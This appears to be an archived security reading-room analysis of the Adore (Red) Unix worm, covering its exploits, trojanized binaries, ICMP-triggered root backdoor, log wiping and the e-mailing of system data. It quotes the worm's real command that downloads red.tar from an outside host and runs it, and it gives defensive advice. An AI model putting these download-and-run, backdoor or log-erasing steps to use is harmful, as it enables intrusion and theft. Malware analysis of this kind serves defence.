![]() |
||||||||||
|
|
||||||||||
Adore
Worm Another Mutation Exploit Details Name: Adore Worm. Variants: Ramen, Lion, Adore (LPRng only). Operating System: Any UNIX variant running vulnerable services. Protocols/Services: BIND, LPRng, rpc-statd. The Adore worm, originally identified as the Red Worm, is a collection of programs and shell scripts contained in a file called red.tar. The Adore worm attempts to gain unauthorized access to systems that are vulnerable to the LPRng, rpc-statd, and the Berkeley Internet Name Domain (BIND) software exploits. Once the Adore worm has gained access to a system, it replaces ps and 0anacron with trojanized versions, and replaces klogd with a program called icmp. The icmp program listens for a specific ICMP packet and once it is received, it opens a backdoor on TCP port 65535 to the system. The worm captures important system information, including userids and running processes, and sends the information to two different e-mail addresses (either adore9000@21cn.com and adore9000@sina.com, or adore9001@21cn.com and adore9001@sina.com). This worm also randomly generates the first two octets of an IP address and then scans that entire subnet for any other vulnerable systems. Once the worm finds a vulnerable system, it infects the new system and the worm propagates again. Description of Variants This worm is a variant of the Ramen and Lion worms that have been previously found infecting UNIX based systems. The Ramen worms attempt to infect system with rpc.statd, wu-ftp, and LPRng vulnerabilities. The Lion worm, which was based on Ramen, uses vulnerable versions of Bind to infect systems. The Lion worm also opens up a backdoor port, and e-mails out important system information. The Adore worm combines parts from both worms to infect systems, it does not, however, exploit the wu-ftp vulnerabilities. How the Exploit Works Once a vulnerable system has been exploited, the contents of .backdoor are executed on the newly infected system. The .backdoor file sets the path, and then runs lynx dump http://go.163.com/~hotcn/red.tar > /usr/lib/red.tar, this command causes the system to download red.tar from that website into the /usr/lib directory. It then checks to see if the file exists. If it does exist, it changes directory to /usr/lib, untars the file, removes red.tar, changes directory to the newly created /usr/lib/lib, and then runs the start.sh script. The start.sh script then checks to see if the file /usr/lib/klogd.o exists. If it does exist, it erases the contents of /var/log/messages, removes the recently created /usr/lib/lib directory and exits. This action by the start.sh script apparently assumes that if the klogd.o file exists, then the system has already been infected and no more action is necessary. If the klogd.o file does not exist, the start.sh script does the following actions:
The 0anacron replaces a file of the same name in /etc/cron.daily. This file will check to see if /sbin/reboot exists and if it does, it will put the original files back in place, remove the /usr/lib/lib directory and then reboot the system. If the reboot file does not exist, it will use killall 9 to kill all processes that the worm has started, put the original files back in place, and then remove the /usr/lib/lib directory. The ps file calls the original ps (moved to /usr/bin/adore) and removes any reference to any programs that are part of the worm, or any of the programs that have been called by some of the scripts (cat, sleep, etc.). The start.sh file then checks to see whether klogd resides in the /sbin directory or in the /usr/sbin directory. There are two sections of the code that are almost identical, the only difference is the location of klogd. The following actions are the same for both sections.
Once the klogd program (originally called icmp) is executed, it listens for an ICMP packet that is 77 bytes in length. Once it has received a packet of proper length, it binds a socket to TCP port 65535 which then allows root access to anyone telnetting to that port. Depending on the location of klogd, mail.sh or mail2.sh is then run. The only differences between the two scripts are the e-mail addresses that the information is sent to. When either of the mail scripts are called, they both do the following actions:
The mail.sh script sends the e-mail to adore9000@21cn.com and adore9000@sina.com. The mail2.sh script sends the e-mail to adore9001@21cn.com and adore9001@sina.com. Once control is returned to the start.sh script, it then erases the contents of /var/log/maillog and /var/log/messages, removes go, go2, and mail.txt, and runs the start script. The start script begins by removing *.log, hacklpd, and hackwu26. The script then uses the nohup command to run the start-bind, start-statd, and start-lprng files. The nohup command is used to run a command that is immune to hang-ups. The start- files are similar in that they execute the following actions:
The lpdscan file checks the results.log file that was created by the pscan-lprng and creates another script called hacklpd. It then uses chmod a+x to set the executable bit on the hacklpd script, and then runs the script. The hacklpd script contains a line for each vulnerable IP address, which calls lpd7.sh with the IP address as the argument. The lpd7.sh then runs the included lpd file against the IP address to cause the overflow and gain access to the system. Once the hacklpd script has been running for 1000 seconds, it then uses killall 9 to stop both the lpd and lpd7.sh processes. The bindscan and statdxscan both use the same syntax when running their respective exploits (.bind and .statdx). They both use the command xargs with the max processes flag set to 500 in an attempt to spread the worm as quickly as possible. Once the exploit has been accomplished and the worm has gained access to the system, the contents of .backdoor are then run and the worm continues to propagate. The tar file (red.tar) also contains files that are not executed during the course of the worm. The files associated with the wuftp exploit are not used in this version of the worm. It would, however, be very easy for someone to modify the worm and add this exploit. Diagram The Adore worm utilizes a very simple process to find other vulnerable systems on the Internet. The diagram below outlines the process that takes place once the Adore Worm has infected a vulnerable system.
Contents of red.tar .backdoor:
.bind:
.statdx:
0anacron:
bind:
bindscan:
getip:
icmp:
icmp.c:
lpd:
lpd7.sh:
lpdscan:
mail.sh:
mail2.sh:
ps:
ps.c:
pscan-bind:
pscan-ftpd:
pscan-lprng:
pscan-statdx:
randb:
scan.pl:
start:
start-bind:
start-lprng:
start-statd:
start-wu26:
start.sh:
statdx:
statdxscan:
wuftpd26:
wuftpd26scan:
wuscan:
How to Use This Worm This worm is very simple to execute, and in fact, could easily be executed on accident. There are two files that can be run that will make the worm active again, .backdoor and start.sh. Both files have the executable bit set making them susceptible to accidental execution. Once one of these programs has been executed, the worm will do the rest and the cycle will begin again. How to Protect Against the Worm The vulnerabilities that are exploited by this worm are ones that have been known for sometime now, patches to eliminate the flaws in BIND, rpc.statd, LPRng, and wu-ftp have been available for download from the vendors. Keeping updated on the latest security warnings, and keeping systems up-to-date with the latest vendor patches is one of the best ways to protect against this, and any other worms or viruses. There are also signatures available at http://www.whitehats.com that will enable a system administrator to detect the attacks used in this worm. Additionally, there are other steps that can be taken to protect against this worm, including closing unnecessary services, blocking outgoing e-mail to the four e-mails addresses (adore9000@21cn.com, adore9000@sina.com, adore9001@21cn.com, and adore 9001@sina.com), and blocking access to the go.163.com domain. Also, instructions for obtaining a tool to detect and remove the Adore worm can be found from SANS (http://www.sans.org/y2k/adore.htm). References
|
||||||||||
|
to top of page | to Threats & Vulnerabilities | to Reading Room Home
|
||||||||||
![]() |
||||||||||